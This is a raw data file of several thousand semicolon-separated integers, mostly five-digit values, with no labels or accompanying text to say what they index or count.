78136;45806;99966;82758;80927;28801;35092;12868;12362;32207;51719;35088;57202;70488;51893;46000;45263;65394;26173;28089;32024;15756;53526;18061;14992;12224;83941;66532;63696;13836;81767;68181;73349;102891;44727;10545;88413;73475;53524;62690;31154;71364;25396;37555;26494;29940;92500;57124;10278;19295;65535;37362;77538;59942;22255;59333;74008;90857;29908;69132;37615;30862;106973;75298;71255;41420;28909;20514;26899;38091;83541;96055;44677;17006;69860;42252;99651;74028;24702;79583;96852;58126;57418;94598;85555;59277;91614;78624;51053;53660;91967;49808;88681;47573;92444;33587;23535;68539;27183;51696;82735;103157;101208;68177;64842;51515;54734;106372;23922;74113;13098;94826;105396;30691;40220;88078;18238;75883;22172;10902;90882;35667;32326;53592;24220;63867;41963;94919;97758;26384;95613;40829;22668;44339;51468;38394;78832;11671;103957;22670;44152;15165;96804;77360;31245;33437;23233;46814;72361;34741;70934;103408;25033;80961;16915;30548;26616;52942;31395;92814;48258;28462;27608;72804;103200;96110;72581;49905;102310;13998;70422;55306;18354;86179;87386;93737;53239;70889;41388;51617;13074;61866;28562;102176;92767;100392;63752;51669;28361;45790;76456;31093;80241;96820;69496;50725;18809;78640;58932;93695;32756;76775;82998;80450;47114;26460;57498;89840;32286;97103;94007;91286;61069;63930;96478;103923;85431;30278;88893;103801;36281;21608;63176;49939;88940;83111;95003;37315;38415;21177;104067;46918;49088;68186;200028;36526;83299;62129;24714;47621;60769;90284;56153;55764;22115;29672;87216;68741;29059;11976;71715;102675;87565;82678;95629;58354;50137;26246;89482;45225;61561;105525;75102;11165;24311;27145;11752;20806;70368;93954;72590;40168;34743;31752;102642;78576;96104;84199;10590;55761;79611;84556;59545;64103;105260;90037;53249;62096;61036;91932;34217;33756;25541;22588;84397;20073;91615;23314;19090;56985;91595;58604;102329;32497;60452;82894;77528;63810;96404;72476;74794;101747;73217;36084;61641;105564;84538;38367;21028;94812;76827;90140;38154;31039;63803;83305;42683;36642;29511;16419;29495;57120;58611;41724;40291;85819;30463;61328;21746;104592;62190;27706;69550;50300;44417;101483;76454;58499;44966;91602;97173;48683;102855;62977;87780;22576;49020;56249;55231;64430;80495;20928;70333;10997;82014;69885;55707;80203;81421;43421;88411;21280;86037;42742;103466;34792;102346;87711;20247;96059;77949;27339;19526;13808;93636;43035;85950;39922;77457;33729;34148;75128;65496;59588;90555;32340;89706;106981;13218;13977;42348;66089;20736;85294;66063;16991;31260;11534;68101;84998;22903;20967;83437;69282;11281;94292;43468;28015;95637;26098;73762;34249;39626;84119;97125;14640;28858;52736;89094;79945;53497;27787;61895;29277;22800;106775;23242;74225;35834;65702;68870;39069;100096;74884;52956;103547;32441;85067;49618;74795;73620;57828;58179;67395;62677;87550;57377;35959;76217;41574;87782;94171;82434;93940;51575;17556;89183;37323;75653;73235;56939;35163;101618;73037;17154;11372;19475;78744;91005;64534;46561;41225;25951;18878;67578;58382;93144;91750;26852;102846;33262;78344;24813;33430;85559;27058;106395;58867;69277;67070;65317;21693;63451;19383;58456;73090;62800;58546;52949;22273;79947;18624;45886;104455;35721;80141;22272;106517;79700;97468;38022;89027;46567;64559;14600;22049;22651;21855;93505;10913;85600;89628;93002;39782;77005;67801;52776;45851;22453;84170;52180;25459;60864;21209;76592;104701;87038;43302;15995;46590;23917;59776;104568;82702;84662;83350;78774;56841;26103;57780;34588;105321;41448;95432;81552;93587;25952;15109;92063;97398;72748;102875;69672;86219;29524;92398;48175;69936;100690;58442;67985;56733;56791;43561;83651;106806;100040;24605;51483;72695;63081;52935;11383;90352;50375;67447;28551;19939;94597;38805;10438;81693;76530;61597;59382;23815;89559;32917;74761;41773;57057;100884;66093;86601;83383;58264;24458;80855;85909;21735;28795;10015;69760;51848;21399;102453;56293;104501;29286;10066;68823;84921;22847;32296;91936;72402;81285;97393;78737;17059;92191;51910;91747;43469;89827;71696;68735;74878;35913;32599;92035;85265;35185;78601;59740;49596;41751;41362;35945;80041;13917;92298;60282;54932;105337;21877;90475;52991;24490;62682;13444;101104;26081;88145;19125;29266;99854;11811;67015;97036;62504;21917;37573;52334;50044;85762;73850;41157;87636;107128;82081;94730;30092;96540;91446;88740;13760;76101;92518;81550;75957;36552;47236;79808;102789;45089;93026;48935;85299;89138;22706;23069;27568;106116;49425;20037;53601;39815;31559;29129;53468;30076;82237;45958;30405;25416;105430;77918;49612;31335;35302;82371;16125;103234;31489;26046;16117;39612;93531;71895;91812;91760;65896;102125;106016;39243;78944;96335;81770;56304;20420;105488;34697;12205;91342;104880;88514;45358;95980;68990;38523;13833;99137;43264;69274;66922;101043;84575;81449;17192;86216;66008;85841;90173;39866;72363;43171;56265;52909;21068;70530;62626;96207;75233;13957;66427;55557;14427;91777;88487;30055;43853;44183;58794;94988;57999;25757;36117;53587;56766;64585;19261;59762;94275;36596;47474;105598;24086;66858;56390;46789;19534;39093;79657;16055;58392;34731;36531;15361;38816;22259;54297;82801;81311;47802;89727;39103;103396;21959;68792;84796;94886;97819;63805;12398;96383;62948;21762;43983;58408;104051;95548;27847;200113;90022;83271;80887;75484;94318;73747;91303;40380;40139;87249;105367;33847;31094;79268;106390;72412;14300;105523;26041;78200;101176;55684;66919;77836;15302;104047;78793;17752;33661;103412;56559;11708;39339;70080;70843;64713;82706;19324;88847;26962;104609;20016;16546;41966;24935;72627;34581;86150;76932;83453;80123;22478;78999;84714;40242;23187;106488;26566;106449;58509;14789;95436;11343;72538;88524;62783;43119;67786;71584;54005;31847;35381;77357;102399;57247;50019;19840;57504;21819;54077;64088;44190;49308;18713;10725;92763;56604;61728;105349;60940;64483;15555;57209;36866;72187;12938;90514;34653;105429;72944;54383;104306;37507;86460;17080;15526;60803;14655;15969;70788;41868;84621;96543;69733;44213;48259;61711;53512;19780;46895;76587;61733;69383;56260;11169;20816;86466;84423;92288;95493;55164;44061;105274;94761;51921;82575;90738;47808;56798;55328;28826;93438;72243;94165;40712;39019;13450;32174;54619;106276;20851;10865;51118;25980;14493;72156;53981;75655;28350;105943;83007;61772;105145;36790;90043;66866;60634;22111;77000;102508;70879;88393;14498;31610;48837;87220;16581;83545;57586;69793;43209;79707;38160;59908;106577;63421;104046;75109;92135;69922;50193;12110;91403;63248;38197;33111;43418;34501;90523;101779;66680;81653;84212;80042;41702;83779;23124;104671;12909;102412;96465;22315;25825;68381;17567;69840;61236;74376;20675;60784;100772;74471;44042;26400;16769;105857;38656;72248;17552;58469;20782;63024;53252;24179;40523;38845;38447;91184;18310;93917;100985;49952;87164;200112;58896;97004;30703;90384;15882;90157;43827;14595;23211;12759;40367;40405;18777;104750;69649;85602;31110;74002;71898;85326;18460;18611;26792;95050;11853;17358;76761;57126;73553;75016;17697;99308;17316;48180;48609;28894;19834;70009;18931;46169;40921;58473;21860;75616;86959;15763;42096;68989;37649;68209;93743;43949;103040;13993;104131;79822;38078;66637;70199;55038;32633;84173;72521;35751;52430;58078;32571;60378;103447;29269;32727;95991;74806;66899;18847;61698;13712;65080;95324;78991;106195;68831;17565;14166;23459;63303;16249;69972;16790;18875;106675;82659;90367;44148;89297;44717;67526;54628;56902;59938;84067;59737;46253;23352;68698;95880;36209;45642;67099;75369;44781;30306;39891;45015;78808;92223;69035;52387;99258;68635;58700;36201;57972;53952;24472;85312;43693;71129;17704;78389;94433;96454;97913;60379;73338;104487;101317;63861;22117;106084;47393;15627;27173;13754;84816;62165;27958;13215;43893;35919;16913;99828;39515;86823;25723;54915;64179;100783;92280;83785;25429;18770;72432;93213;69897;87070;45845;13366;61029;47888;25988;76084;55086;43343;23810;66660;29747;84125;36007;67614;84684;66487;21818;13240;48469;97041;58343;17521;83594;106209;90323;33983;25821;14167;25556;101173;75018;72413;89139;53074;35182;80156;36506;19082;73581;32192;31363;99827;93824;17424;105882;89412;27729;32866;13080;92770;103105;94103;56340;33562;57568;65059;27040;62435;76017;34018;76842;91192;75774;90818;99562;57990;47589;78946;46806;82656;12464;82743;91513;67439;85089;12708;84665;10122;50908;66042;63049;85820;58438;93971;96075;12775;92105;44875;11647;27540;39896;18273;49918;89861;84797;34649;77524;36064;55726;83746;59708;96273;33018;36603;68533;96188;105701;25663;68027;105934;43002;26134;89646;99098;12945;82963;20381;89181;70402;46418;42860;62698;57642;64645;17228;49637;19158;43553;11158;53434;65300;24366;99488;102924;84340;11398;67353;53236;20118;51880;34215;51303;45565;89635;40052;106643;65292;68152;15997;54548;26641;37962;44922;65357;28499;39323;16683;15754;84038;26827;97171;28729;80749;16544;33737;102771;104836;21283;15686;53346;103565;90669;73330;54674;84469;45181;38255;67211;104508;26184;47538;82795;69784;27277;65783;90061;71494;48365;35455;52843;80386;92926;90757;12038;33112;41778;22629;34955;27686;53097;70886;93336;71522;62370;65391;35249;86182;101334;95326;68916;75730;16336;86252;83954;58017;76129;80365;56926;103943;18739;35687;26067;88027;105055;99661;22609;104615;16089;96475;66208;84223;91223;106569;103046;66150;100563;79375;17545;64514;18153;53079;85475;30158;58436;55271;84463;94540;82403;78672;99409;92811;77592;24295;27996;13627;41003;61205;88035;58512;50871;63235;33124;12090;94710;24693;94033;36266;56245;52178;52208;97046;88096;63601;69088;84910;84179;67207;15511;58183;32712;88045;24786;17223;106617;50855;66081;27340;50213;20124;92571;88859;52039;18013;55479;24331;19473;71167;30934;26514;100774;58963;84879;17494;72655;55273;20808;39542;13662;35155;41408;87050;14447;89355;68233;57878;72927;52002;28161;46231;13294;42916;52936;41167;53385;63477;25475;83278;62827;13562;51523;44997;11825;28155;15054;40877;86436;22375;106677;77821;51525;104016;40901;19593;63993;17310;89738;77706;55627;95627;71375;50294;44056;66414;77695;80125;54532;106603;65601;66675;73073;96036;78780;84763;36059;53182;84294;60470;47318;15620;29687;76558;86502;32171;91909;94537;21466;31364;69862;86242;103857;70891;74694;52778;38348;18750;51467;56850;60619;43815;20203;55874;103259;101315;58128;63474;20563;86571;30370;24129;101818;81871;42558;73882;44382;13108;46269;54043;22186;75318;38505;30945;77794;81620;61759;30544;73723;65733;57352;40894;15399;66851;93118;19339;15156;60002;42632;73837;44935;52997;53152;46464;46887;80413;60904;23628;105424;19427;25476;15558;54778;48517;40169;76722;79408;85964;37214;80409;47778;75768;79850;69490;28531;99825;19678;83543;58920;90872;41317;80331;76404;41102;18517;10539;38067;12323;68018;103268;101177;72753;73241;55135;44862;66673;34667;43870;100051;81811;32612;106997;29771;105854;30968;101451;75091;69540;17157;34608;31397;55527;73086;57193;47398;58601;55253;21576;106330;79100;59298;23869;39437;52198;72373;78919;62413;54830;60428;70053;88920;67970;22935;97018;45833;71993;90408;26719;53966;20206;70139;73203;38819;71235;81540;99514;105987;70821;19756;64009;75066;81195;24528;62106;22243;85168;34615;11242;23341;14547;16299;11436;30676;56532;52393;26325;91822;95735;87124;58137;70720;13303;80383;105326;76259;20607;74450;96990;48270;80982;44262;61348;77164;88091;56497;80395;68278;13950;106174;13900;29504;85146;67751;16794;23272;65947;101347;40994;41713;50787;15328;63719;26778;42557;39039;27919;17678;86942;41695;10669;103308;19429;31069;18811;62608;44784;49541;38915;23483;10899;59685;68090;56103;33536;49434;29372;69387;80162;47466;20649;20538;62068;63112;12051;32419;21910;77302;45836;106658;58100;58924;16052;33707;33623;94857;97154;83814;92164;56933;69660;74367;56852;48394;54070;75590;23746;44439;84917;66912;65196;85769;60483;75234;90554;35693;82114;23993;78761;94027;80142;85445;102405;41477;74243;64005;102711;85344;101289;47756;95593;24509;87698;13598;90045;71416;84975;26468;57864;44985;25996;39148;67961;95642;66363;97439;11317;63380;91799;25912;65984;102678;70511;22237;41135;23270;13844;14335;61760;80445;55032;45677;101062;78974;67731;58774;59977;53360;69181;84580;73051;48206;14851;105417;32163;74586;17485;63015;56612;43173;102138;11275;78838;15926;74974;83368;43228;62767;30437;102933;80977;53453;105465;101224;41258;10412;72213;17415;12532;99197;77652;10118;101093;52218;75516;60193;23091;105551;70844;106975;52493;39948;66489;56670;53820;84669;32149;86198;96706;50426;26573;41106;72264;103476;41018;78965;91335;60202;32191;75145;63037;48265;12087;40228;59536;39486;38964;85094;77063;49723;30682;87912;50703;28236;68353;67803;14156;18652;48769;34907;74599;73845;33965;66197;86777;51127;11089;64112;74050;55654;93871;42338;71561;105821;31970;41050;69379;51867;24505;99415;21123;97087;10612;95761;20337;86035;32246;75955;94661;90947;55470;20956;79929;56247;75641;97688;62249;69582;25608;58217;49883;71996;65086;70197;73961;85369;105001;93129;71954;53871;27537;60427;102515;94108;22527;11742;32513;31419;76410;90297;73491;39797;49001;77534;55439;96989;63028;27869;200017;16111;45175;33802;65198;26498;102941;62023;69411;16046;17182;69472;31212;68631;67760;85187;97341;82279;60786;67789;74909;102881;58791;76591;42168;66520;11149;104694;96640;32182;53760;71390;82729;13470;200041;50534;37850;105820;103791;63753;16782;47740;65533;65168;56595;34823;81523;26564;43091;85275;72539;45054;44747;43722;103644;44375;82460;35244;63776;36178;17366;17098;51319;55436;66113;63649;48894;83334;88392;44541;63756;69907;32169;78748;81717;87212;76928;77590;28469;94323;65550;102116;78721;38809;72977;24377;36632;13860;106086;38960;54082;31584;65663;20407;64326;23241;97665;59334;47244;87669;10353;24299;39292;71653;67689;75150;16906;20142;36932;20322;27271;43490;106803;102568;13395;21301;46098;27125;200075;47630;87943;81422;32085;30743;30520;99590;30002;27658;91095;76139;92580;50969;48583;77985;32167;77937;24043;23062;77515;83318;73439;76924;37726;81506;19495;81990;92572;71110;45724;48358;14995;88403;65576;12438;82370;90781;19271;96017;55298;88937;89626;77978;36615;30581;10965;84259;30538;89415;57346;45494;31819;14385;101473;106202;55460;103884;89175;37285;63990;27852;69356;11439;13407;78077;24722;35584;99038;54675;43135;82723;40360;83185;41491;73598;80557;31298;70794;74487;60055;10991;106758;22693;22484;103568;57186;23836;91538;67220;36282;60264;50135;62430;36952;86453;78590;72801;90735;44806;86446;57018;89699;94803;99729;21513;18086;92866;97526;74148;106275;45832;102592;28019;94546;28626;68485;76570;50451;10044;50963;37200;31608;99213;66154;54589;96659;96517;105188;25595;48742;34634;75521;22124;19416;79986;14676;13864;12531;26247;43298;14437;25491;74582;63444;65962;54977;52238;58584;105174;82736;33898;97935;85617;14127;39857;78994;72548;13725;42648;23206;43360;84177;31315;32444;45076;25751;91776;76506;86512;70898;54468;29362;79370;43671;100276;52811;40491;91978;26890;55233;83901;33777;61609;51160;29514;91502;28823;102238;81460;79377;68776;74622;46886;70616;16868;94230;77334;56499;71254;88692;79723;14694;97903;63210;93601;20797;56840;61628;49121;89571;65481;36011;78012;45012;69220;51898;84282;13486;83817;57577;16892;94946;61710;15560;45666;48973;65427;11428;101392;27563;64419;10531;84443;63226;46266;32299;33411;62412;25538;70457;11660;38117;64988;37583;69938;51164;26934;43309;86919;68858;18365;33024;91567;64898;90459;43664;26451;43771;90870;42494;94131;67120;64541;32193;86749;44341;62867;29284;28534;93444;42898;81267;26619;72995;64373;35079;100959;66761;69000;74732;101993;36547;66392;36265;58254;16585;61516;53775;68591;62659;52680;24022;50000;68346;30966;86881;73587;43744;58208;99470;96425;89376;12096;39170;57139;77137;87309;33135;76055;22148;99988;51581;79730;32618;95403;70056;88996;30722;105305;24361;96261;32165;90934;45381;103052;94862;21583;94325;37293;91131;39264;25646;73047;70901;75837;37287;74642;28963;35304;76136;81743;102536;37741;92152;52485;29185;80704;81292;75196;74767;24785;77017;53860;54536;21071;41303;36684;77009;81745;37896;68239;89401;34084;61567;45372;97859;93600;13638;23806;62273;92382;55344;49890;16416;48568;39481;81678;19709;59847;73113;85426;80490;91897;96242;32301;66320;52954;64511;46039;29775;93463;89787;67866;31860;63697;21092;92402;72228;71263;43137;22179;99884;27930;14829;22834;52618;28387;104230;78229;71236;14436;51845;61777;44562;80596;72122;56035;76581;18233;104509;64358;68935;60782;42274;79871;90764;97659;102107;92310;40443;85236;96470;104387;32446;63194;105251;104392;37685;27382;57308;103451;106034;29622;29080;105183;68408;27561;80170;11508;65608;90575;18535;74735;63548;31387;94922;37733;10456;83732;86666;71654;44049;61501;44169;93429;36741;88527;31784;50424;103273;105471;41662;31892;87408;30424;53910;47224;83972;47647;47680;47899;77902;78243;56007;45630;64570;88384;70592;97931;104505;56864;76309;21593;71974;96915;85307;73774;45640;95572;96417;97157;48777;104018;69794;100312;76866;87684;60897;60645;18294;95816;93143;29090;63140;48961;54653;72903;107057;106912;83179;55206;73248;50385;72531;73778;28192;42950;83047;69265;62208;21484;58577;27463;82294;37106;11120;31133;83339;55589;23157;101270;46473;13293;66602;92659;50348;106197;17644;99175;30543;14392;25340;16349;44863;71711;54872;200000;36766;15160;103554;89741;28329;104388;44837;49715;68288;81551;85363;33520;80329;75267;36462;83487;73992;58253;15016;65509;35488;56366;46185;70015;15938;41828;30322;39501;105838;43015;91600;21909;96114;48557;30626;85372;16352;76538;21687;60924;63244;58805;84078;81333;100118;85484;84298;23244;42438;11550;26587;24374;24830;72181;92749;22083;21998;76407;49696;41284;33833;65536;103792;22642;100771;27265;55147;32609;13549;38333;94446;51652;35844;44929;56432;26793;70482;32976;13257;92201;11855;78539;94901;103684;41841;28172;20132;56486;30224;93590;84681;77945;56394;74603;79390;51409;31026;40276;86138;18231;46978;33320;84399;74986;25871;81985;10288;35607;27328;21636;14158;32999;104101;99662;85918;88149;70634;34130;33039;46822;12311;24281;101030;65641;14226;73637;71000;52377;30675;66523;36976;18564;66451;10584;39689;44050;62699;38087;38756;94099;58559;60966;51590;96250;106135;93023;12704;28005;95476;17088;47004;11429;89992;62705;75908;67946;19071;62239;105689;72613;72844;72717;25773;48696;83589;95842;61305;54584;37295;95846;60863;88756;93106;77129;73806;25015;52621;52202;84464;105590;41601;37111;12435;16479;103284;31832;19643;75704;49153;12965;67986;35283;52147;85451;85809;105420;93152;12827;55916;94483;99540;63358;37504;46589;12656;63915;44075;78073;77011;64219;25794;85096;15805;37252;33367;46114;30547;33494;11027;52177;15141;77622;96457;12996;33931;72895;25920;77311;78367;47013;35308;40717;52876;52219;47832;94925;103952;103144;56346;12556;62606;42908;33345;80726;87457;47371;75708;39541;31555;90587;52507;58431;88714;78939;27823;44821;61707;89462;38905;42143;91791;105905;96987;101817;77151;93496;67154;70855;51855;78147;31323;70782;50172;101532;63827;75714;46143;26512;32009;22749;13886;65712;101448;17188;86701;54810;37872;51401;69658;80046;13424;83369;32950;51090;59816;11685;69931;68104;36129;93138;18452;56658;29069;99434;56472;25517;69964;44430;101784;70640;102766;45689;24915;94713;15501;42766;49862;54969;58086;40731;14461;65381;29445;55440;82290;106224;91411;78665;11043;15843;73971;79517;44352;93544;24465;60947;18661;20379;80317;71543;62752;22380;17721;83304;53110;42565;38640;103975;34142;90100;49978;64166;33187;99007;30051;32635;69487;45224;34912;21645;16528;17319;83020;103706;22943;83360;88530;92229;85115;14064;84776;64588;83955;69933;14912;10919;51088;19171;39270;57160;54312;34028;10189;24542;24533;89118;106027;27028;23961;66319;18521;95369;83859;23462;65992;25559;95964;62811;64500;96245;86154;69666;54765;94282;102658;57868;39733;52072;28383;57880;94610;29895;48995;41701;71679;20749;32710;94647;38300;51904;53393;90634;39691;67212;21308;80260;19392;28885;97578;26114;44822;83251;64039;90930;55989;106131;56111;85834;92380;58647;22794;65946;20418;101570;47513;12260;43046;93911;61950;44520;28876;103740;69199;46493;80786;58376;21907;53751;26386;14980;32247;58585;85674;34480;30073;50724;81436;91040;35437;54174;84076;72580;37954;68773;101215;42292;99300;87793;96644;92182;16311;43758;83688;75926;41306;51305;82071;91855;60667;66789;63859;35523;104015;66710;87556;18351;78225;33922;78574;30552;53445;18903;64139;11375;40554;106338;64457;46154;37160;31238;39411;101777;89411;52656;50226;65328;61257;15327;59663;45635;89941;14256;88480;72040;63878;67587;26526;41460;72620;40986;52113;10487;77730;55926;78339;105573;85003;47894;69353;71512;66200;26967;88009;89074;83843;38883;89784;45877;39020;19296;91751;75243;93103;105009;27151;13245;71579;32360;84857;102967;34027;70291;95043;102595;70583;37070;17203;68863;50023;100859;13762;45237;48403;40452;23739;88430;64846;43998;41732;69183;88883;71742;70467;70458;90877;24276;45119;10906;49999;90008;35311;10274;68754;31304;92290;80302;92663;82428;59935;31782;46885;100829;47361;73533;29024;27120;77934;35387;25929;71311;42905;80648;32667;87217;96973;22260;79894;53743;101219;14067;56477;101107;52584;58796;45297;91661;73061;54413;27334;64119;14519;42071;57711;34639;60965;24585;26824;26458;38997;32038;28390;84031;41170;77637;104176;46796;71095;44982;86296;45725;29891;86648;65717;31840;16347;54144;103187;102218;80449;97131;53886;21052;21817;78003;78249;72292;57507;38077;34577;95834;100801;18386;84707;55690;94740;31572;102099;11896;53537;72909;82291;18896;54422;17510;61519;53029;103577;64439;82111;101447;12261;60792;50084;40284;50538;80879;66095;41146;81463;86030;30418;70540;36955;90929;94767;27309;88100;82319;78462;93169;55324;43436;28165;89783;59600;94060;100561;21516;75536;52596;94235;78094;40602;53749;25351;89608;92076;106839;68688;54135;103940;78256;76702;92835;26148;11049;16650;32339;56025;83538;67418;72912;69622;102251;23347;24557;27056;81594;30214;26919;66977;56303;91311;88992;40192;81768;56319;104132;70973;104608;101847;95962;26055;43054;75386;15872;14214;104940;59387;82037;27006;97166;63058;60983;86716;105147;73548;61635;90021;59585;76330;104597;66619;31745;16074;43924;32242;33350;100574;84782;32624;12093;21179;15736;28644;70756;68183;97679;55860;76151;55103;97774;99161;66647;103995;53938;23153;27288;90623;100440;28592;89399;57714;103057;71846;69628;81689;43909;13415;104551;90080;44259;44174;36230;84610;18456;51742;90604;28227;78545;85829;32199;52356;10194;102019;16155;14700;29095;30130;40809;95257;28030;91899;101771;104883;85849;61344;91746;73544;31632;43651;104181;38385;102856;13606;71366;23891;77409;49449;90317;105956;10477;42247;32168;77287;41704;42951;13742;35800;31175;48838;81878;11033;81601;92373;41808;44909;41867;49910;27238;36885;45670;45924;45353;97285;101327;13113;67232;99188;105059;58480;102763;82124;100873;72930;72196;35657;74552;15161;67545;44494;50968;52658;102821;21382;82690;69560;54551;57725;88037;40718;93675;82936;78835;60773;45040;82781;104260;48753;36750;59833;60216;91383;25919;15479;51813;79409;37969;58212;12950;11022;85664;48479;67421;32449;11909;24737;80936;89764;56546;93908;106734;86235;81256;47733;67455;13826;80754;20788;92637;17744;25411;104661;47649;28683;34228;107027;16228;97258;30154;71769;85623;63411;89161;86227;104992;89145;28798;91049;84089;36285;49738;41061;105842;91244;101282;20555;77839;42718;93456;74020;36686;17308;86920;51205;28393;46703;15233;67909;106785;55742;40289;51168;20390;83472;15339;102223;105227;36179;76179;78192;13375;42842;85455;62806;29807;38101;76319;27425;72891;28694;71990;17298;16815;57075;43132;72759;60841;24942;14157;80883;14202;96744;29801;80471;51668;53377;87716;34707;88062;42262;63788;75639;67544;24753;27987;66186;43580;105399;56060;105474;20292;54248;87500;36569;99759;32604;59855;89476;63505;105023;40149;37547;101340;102936;40566;68535;91178;58101;103372;72519;84623;55370;46924;17383;104120;17784;83550;91895;67396;94296;100406;15759;12832;34721;54700;94872;27773;85211;61603;95815;73808;88767;16317;86988;95516;33745;80552;84772;105304;59157;50974;95857;68940;23460;102677;103976;87450;39696;72720;78060;85589;92032;18532;32678;62939;92260;27955;105575;80504;95788;54905;20652;66259;19273;78511;99529;61081;101498;35078;81567;17562;33975;47096;88383;101486;25282;96546;42254;84373;78274;27132;89045;39284;44111;26769;97323;50048;52598;64918;14463;61026;54807;42541;91535;26043;52532;18753;36795;74593;22240;22409;107069;40853;87053;20968;45959;69927;92879;38258;37352;61104;81005;62651;107043;49583;23259;11325;85408;17296;77467;57425;29098;97977;26539;35819;37642;97753;104372;10174;66526;105105;94723;20971;75772;23804;25529;96940;78061;20463;59697;24763;41009;13436;101238;51811;21542;104266;24174;48853;69617;99803;40979;15192;61456;35268;92966;34981;40250;61667;20277;41462;87664;18563;92473;46152;64829;104038;53153;80516;55142;78138;26023;94928;54955;80781;51079;19238;104514;103939;78549;72042;94373;66475;28220;83573;13899;36524;90694;79331;21704;82270;43153;83428;48186;61589;79767;58555;25977;47489;10029;49595;68361;67691;25666;48548;69795;79699;88876;79779;93053;22427;70698;54264;30777;91519;71635;71997;89374;15001;11195;75132;92206;75890;85441;101559;77738;14119;61865;92927;38189;21673;103203;96173;72642;30631;34196;11130;102093;55975;89318;23505;49355;59756;13532;92539;61582;39107;66187;37880;20868;89883;23745;84413;77266;104043;11050;30599;57709;55927;51779;43108;95474;65758;70604;68777;107125;84842;61613;97993;20892;100084;99960;96329;95752;58897;101325;104106;22045;95531;66860;20139;12212;107018;10151;103197;65447;34905;28695;18728;84012;14058;22827;10926;58199;45200;29564;92403;97617;54360;29696;89568;79639;31903;63720;86869;65881;61717;61684;80617;61068;105453;20042;12541;72066;63290;61622;95963;31591;11860;68266;95347;87540;104923;93148;14831;33184;80482;68257;39210;54126;18286;74189;16676;91638;106181;43569;65438;10268;24241;55549;81361;95607;94801;77224;73629;79079;73560;71767;13300;25063;16163;46245;43926;37170;65907;37062;50120;16755;73006;68143;27036;35060;105521;103448;57403;26099;31888;84643;79649;16206;53382;68456;97692;55254;60568;76683;56274;31301;45907;46969;35935;36869;19279;94969;86984;44101;34048;104780;41173;101183;79273;35858;38951;39824;40752;89952;82787;83820;49914;39897;103804;104838;82889;74633;97954;54244;31244;50036;41375;78890;76540;10051;52945;28720;23537;200066;23730;71700;86166;27737;41731;27392;14231;22978;60479;92831;90412;82155;82314;103489;69141;30540;100214;59435;44857;31567;74754;53908;99136;92122;73902;90635;19884;54436;77569;33287;37882;17337;72284;30393;63780;71938;20508;37251;46294;14033;29865;45929;102090;74776;33346;26160;40694;28072;96591;104113;89931;11307;48438;43094;27750;84730;89522;103319;75048;61898;43028;94395;95630;83827;33283;28049;40122;61183;55215;45645;90786;36957;15418;27734;30648;93452;44996;27739;45948;45449;47400;41733;47628;53626;54849;87845;72529;19885;42894;54524;73382;69115;14044;84847;36156;44801;58388;74885;21358;95722;51709;94850;19770;23620;65046;99166;68584;68081;85637;40755;15366;53815;26183;55840;25832;36728;70876;43742;78298;39903;77466;82367;79974;37803;43634;25359;200077;70646;35988;70231;44688;83738;51899;28846;97978;26478;64887;96220;80780;94016;33014;36380;104970;48243;100971;27667;43501;18635;11707;31758;91329;95609;41162;26012;22630;39523;70214;101812;20900;22751;76171;103229;10680;76205;73303;52416;40373;29387;61083;200050;75503;82770;77078;105914;21345;51962;72692;63188;105112;33575;103186;61329;97818;30088;88957;99796;51757;14003;16917;80858;75097;93957;64351;103214;60735;76668;16499;22714;78358;13812;60708;32189;13773;87998;65534;15678;81400;56561;85032;87553;46351;72957;44293;53375;87043;37567;52775;36405;97066;66895;63948;70034;73231;20332;18932;35720;27423;50568;33403;78734;56878;44165;26615;102756;69105;72582;82975;80550;103138;83063;49811;12011;26113;13884;69086;95620;67532;58213;87834;76738;70943;89508;97733;64632;96097;50187;64647;81451;31288;56330;107121;75472;80185;64574;48183;22280;90309;93588;25066;56801;105467;84245;10052;100691;91514;72444;96190;68287;96969;57218;78959;96572;89698;27489;80250;50585;10866;64962;12347;82006;43828;64452;100989;81298;68892;62548;94122;82607;75816;75744;83120;46173;46509;78888;16747;20758;63856;50595;71531;88118;35219;106723;21292;23037;12229;27182;104805;57360;69937;84717;92590;17107;86873;40199;56470;41635;13101;18956;73692;34572;14533;104311;50311;92218;54732;50417;38120;73593;72824;65578;99029;58806;40763;34342;36985;51943;76650;51155;27691;55717;71994;72192;21240;59193;35747;21648;41797;83799;79172;43697;32325;67411;15308;18539;87982;63794;23108;56960;102831;62769;76695;84093;87054;43101;65736;81691;77904;93116;45814;32943;91667;10090;12267;93237;101471;30109;81079;83670;17791;30916;38492;29636;64606;77692;32218;103215;65125;33412;60435;102115;23873;82545;33609;65266;53600;85604;64495;77292;34965;39811;89777;59832;51697;13757;84766;33193;44080;103270;77610;48408;18788;53853;61646;37253;50531;26843;79676;58524;12504;48988;34915;37974;79853;80649;73407;89621;15734;10008;79387;17504;20224;71093;37527;26470;65843;47526;45176;105787;56978;62424;20412;90974;28134;90975;92251;82879;105421;39014;31382;30458;80816;65007;69034;92905;84574;28641;92185;47473;12204;29064;31708;11294;58256;104963;17618;103562;59100;85838;36105;53747;10204;43324;99808;59097;15395;43012;48409;10203;24211;46103;28374;58003;24793;31523;28681;103072;50924;44314;13487;20336;67744;81470;51578;68274;83694;49479;88634;63165;29392;60743;10206;29929;76626;104740;102503;53912;29441;41145;106668;83104;44320;81865;44878;25812;25435;15061;54892;32287;28078;34766;38404;28631;18789;41727;99066;13943;90467;79653;90855;13151;91604;72699;48146;72178;104707;62280;69621;12251;44689;15873;77782;53296;95412;29250;80215;20990;89026;67155;96643;29707;54654;21863;46102;81625;10460;64621;20733;51423;102615;55956;85697;60636;18929;34514;75877;65016;57926;18827;39273;77026;15350;56783;55902;89273;62419;86495;12715;85703;48869;58528;90602;48861;28052;36029;18967;33758;68088;46345;66825;24254;100775;42972;18221;48757;78055;39717;65612;50679;89132;105088;23364;95708;27593;47741;79626;57694;54787;48638;18313;68222;80918;44256;78657;17271;45074;54166;48164;88880;69619;76190;25813;51314;18769;46176;101165;100230;31023;55662;15377;21989;14155;25128;42499;51746;89985;68755;16310;51672;38674;10183;37569;16822;25361;39697;48633;65223;102301;26227;38326;99392;52000;44708;49029;14619;35750;105540;14599;57129;78818;61815;29941;71437;48453;23513;14850;11829;36237;106004;95010;29337;53974;85973;84923;18605;21384;56535;75731;64820;50321;74195;43163;11728;100151;42432;77351;11612;18531;57779;66896;27169;29401;65049;52131;70612;10155;96244;21084;85570;106123;65018;73954;31262;66982;65043;19991;106485;24335;26653;28345;51599;15537;36420;36369;79291;95794;91511;37453;58133;89274;34604;78395;12516;47325;87902;16555;103999;30954;29567;51632;67949;31865;91532;41667;38402;95840;85979;26199;82877;55056;96805;101276;103996;10283;74916;14573;39427;86185;37557;97788;